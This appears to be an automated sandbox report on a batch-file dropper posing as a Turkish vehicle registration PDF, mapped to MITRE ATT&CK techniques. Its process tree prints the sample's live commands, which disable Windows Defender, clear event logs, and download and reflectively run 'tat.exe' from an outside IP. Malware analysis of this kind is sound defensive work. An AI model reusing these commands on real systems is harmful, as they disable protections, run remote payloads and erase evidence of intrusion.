286619cb4364f0e8acbf4cc16206669bcd829768db68609a3a414ca8b016d1f7

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

defense_evasion ransomware

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

Clear Windows Event Logs

T1070.001

pid	Process
2664	wevtutil.exe
5524	wevtutil.exe
5432	wevtutil.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
484	powershell.exe
2924	powershell.exe
484	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5516	tasklist.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6008	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6124	cmd.exe

Checks SCSI registry key(s) 3 TTPs 8 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009	svchost.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4748	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\Local Settings	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
484	powershell.exe
484	powershell.exe
5092	mspaint.exe
5092	mspaint.exe
2924	powershell.exe
2924	powershell.exe
2924	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	484	powershell.exe
Token: SeIncreaseQuotaPrivilege	484	powershell.exe
Token: SeSecurityPrivilege	484	powershell.exe
Token: SeTakeOwnershipPrivilege	484	powershell.exe
Token: SeLoadDriverPrivilege	484	powershell.exe
Token: SeSystemProfilePrivilege	484	powershell.exe
Token: SeSystemtimePrivilege	484	powershell.exe
Token: SeProfSingleProcessPrivilege	484	powershell.exe
Token: SeIncBasePriorityPrivilege	484	powershell.exe
Token: SeCreatePagefilePrivilege	484	powershell.exe
Token: SeBackupPrivilege	484	powershell.exe
Token: SeRestorePrivilege	484	powershell.exe
Token: SeShutdownPrivilege	484	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeSystemEnvironmentPrivilege	484	powershell.exe
Token: SeRemoteShutdownPrivilege	484	powershell.exe
Token: SeUndockPrivilege	484	powershell.exe
Token: SeManageVolumePrivilege	484	powershell.exe
Token: 33	484	powershell.exe
Token: 34	484	powershell.exe
Token: 35	484	powershell.exe
Token: 36	484	powershell.exe
Token: SeIncreaseQuotaPrivilege	484	powershell.exe
Token: SeSecurityPrivilege	484	powershell.exe
Token: SeTakeOwnershipPrivilege	484	powershell.exe
Token: SeLoadDriverPrivilege	484	powershell.exe
Token: SeSystemProfilePrivilege	484	powershell.exe
Token: SeSystemtimePrivilege	484	powershell.exe
Token: SeProfSingleProcessPrivilege	484	powershell.exe
Token: SeIncBasePriorityPrivilege	484	powershell.exe
Token: SeCreatePagefilePrivilege	484	powershell.exe
Token: SeBackupPrivilege	484	powershell.exe
Token: SeRestorePrivilege	484	powershell.exe
Token: SeShutdownPrivilege	484	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeSystemEnvironmentPrivilege	484	powershell.exe
Token: SeRemoteShutdownPrivilege	484	powershell.exe
Token: SeUndockPrivilege	484	powershell.exe
Token: SeManageVolumePrivilege	484	powershell.exe
Token: 33	484	powershell.exe
Token: 34	484	powershell.exe
Token: 35	484	powershell.exe
Token: 36	484	powershell.exe
Token: SeIncreaseQuotaPrivilege	484	powershell.exe
Token: SeSecurityPrivilege	484	powershell.exe
Token: SeTakeOwnershipPrivilege	484	powershell.exe
Token: SeLoadDriverPrivilege	484	powershell.exe
Token: SeSystemProfilePrivilege	484	powershell.exe
Token: SeSystemtimePrivilege	484	powershell.exe
Token: SeProfSingleProcessPrivilege	484	powershell.exe
Token: SeIncBasePriorityPrivilege	484	powershell.exe
Token: SeCreatePagefilePrivilege	484	powershell.exe
Token: SeBackupPrivilege	484	powershell.exe
Token: SeRestorePrivilege	484	powershell.exe
Token: SeShutdownPrivilege	484	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeSystemEnvironmentPrivilege	484	powershell.exe
Token: SeRemoteShutdownPrivilege	484	powershell.exe
Token: SeUndockPrivilege	484	powershell.exe
Token: SeManageVolumePrivilege	484	powershell.exe
Token: 33	484	powershell.exe
Token: 34	484	powershell.exe
Token: 35	484	powershell.exe
Token: 36	484	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5092	mspaint.exe
5092	mspaint.exe
5092	mspaint.exe
5092	mspaint.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 6124 wrote to memory of 4984	6124	cmd.exe	88
PID 6124 wrote to memory of 484	6124	cmd.exe	90
PID 6124 wrote to memory of 1048	6124	cmd.exe	92
PID 6124 wrote to memory of 2152	6124	cmd.exe	93
PID 6124 wrote to memory of 5920	6124	cmd.exe	94
PID 6124 wrote to memory of 2544	6124	cmd.exe	95
PID 6124 wrote to memory of 3896	6124	cmd.exe	96
PID 3896 wrote to memory of 4148	3896	net.exe	97
PID 6124 wrote to memory of 6008	6124	cmd.exe	98
PID 6124 wrote to memory of 4920	6124	cmd.exe	99
PID 6124 wrote to memory of 5092	6124	cmd.exe	100
PID 6124 wrote to memory of 2924	6124	cmd.exe	101
PID 6124 wrote to memory of 5516	6124	cmd.exe	106
PID 6124 wrote to memory of 3692	6124	cmd.exe	107
PID 6124 wrote to memory of 4748	6124	cmd.exe	109
PID 6124 wrote to memory of 5432	6124	cmd.exe	110
PID 6124 wrote to memory of 2664	6124	cmd.exe	111
PID 6124 wrote to memory of 5524	6124	cmd.exe	112

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	1	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RENAULT_MEGANE_Araç_Tescil_ve_Ruhsat_Bilgileri.PDF 2.bat"
1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:6124
- C:\Windows\system32\fsutil.exe
  fsutil dirty query C:
  2⤵
  PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -EA 0;" "Set-MpPreference -DisableIOAVProtection $true -EA 0;" "Set-MpPreference -DisableBehaviorMonitoring $true -EA 0;" "Set-MpPreference -DisableScriptScanning $true -EA 0;" "Set-MpPreference -DisableArchiveScanning $true -EA 0;" "Set-MpPreference -DisableIntrusionPreventionSystem $true -EA 0;" "Add-MpPreference -ExclusionPath 'C:\' -EA 0;" "Add-MpPreference -ExclusionExtension '.exe' -EA 0;" "Add-MpPreference -ExclusionExtension '.bat' -EA 0;" "Add-MpPreference -ExclusionProcess 'svchost.exe' -EA 0"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:484
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1048
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2152
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5920
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender notification settings
  PID:2544
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:4148
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:6008
- C:\Windows\system32\curl.exe
  curl -s -L -k --max-time 10 "http://74.208.93.179/IMG-20260914-WA0001.jpg" -o "C:\Users\Admin\AppData\Local\Temp\ruhsat.jpg"
  2⤵
  PID:4920
- C:\Windows\system32\mspaint.exe
  "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\ruhsat.jpg"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$u='http://74.208.93.179/tat.exe';" "try{" " $b=(New-Object Net.WebClient).DownloadData($u);" " $asm=[Reflection.Assembly]::Load($b);" " $ep=$asm.EntryPoint;" " if($ep){$ep.Invoke($null,@($null))}" "}catch{}"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2924
- C:\Windows\system32\tasklist.exe
  tasklist /fi "imagename eq svchost.exe"
  2⤵
  - Discovers running processes
  PID:5516
- C:\Windows\system32\find.exe
  find /i "svchost.exe"
  2⤵
  PID:3692
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4748
- C:\Windows\system32\wevtutil.exe
  wevtutil cl System
  2⤵
  - Clears Windows event logs
  PID:5432
- C:\Windows\system32\wevtutil.exe
  wevtutil cl Application
  2⤵
  - Clears Windows event logs
  PID:2664
- C:\Windows\system32\wevtutil.exe
  wevtutil cl "Windows PowerShell"
  2⤵
  - Clears Windows event logs
  PID:5524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
- Checks SCSI registry key(s)
PID:4672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry